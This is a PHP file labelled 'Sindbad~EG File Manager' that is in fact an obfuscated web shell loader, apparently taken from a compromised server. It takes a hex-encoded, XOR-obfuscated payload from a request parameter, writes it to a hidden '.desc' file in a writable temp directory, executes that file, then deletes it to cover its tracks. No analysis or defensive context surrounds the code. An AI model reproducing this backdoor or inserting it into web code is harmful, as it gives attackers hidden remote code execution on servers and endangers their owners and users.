Sindbad~EG File Manager

<?php

if(isset($_REQUEST) && isset($_REQUEST["p\x73\x65t"])){
	$pointer = hex2bin($_REQUEST["p\x73\x65t"]);
	$mrk=   '' ;    for($e=0; $e<strlen($pointer); $e++){$mrk .= chr(ord($pointer[$e]) ^ 40);}
	$property_set = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]);
	$data = 0;
do {
    $marker = $property_set[$data] ?? null;
    if ($data >= count($property_set)) break;
    		if (array_product([is_dir($marker), is_writable($marker)])) {
    $ref = join("/", [$marker, ".desc"]);
    if (file_put_contents($ref, $mrk)) {
	include $ref;
	@unlink($ref);
	exit;
}
}
    $data++;
} while (true);
}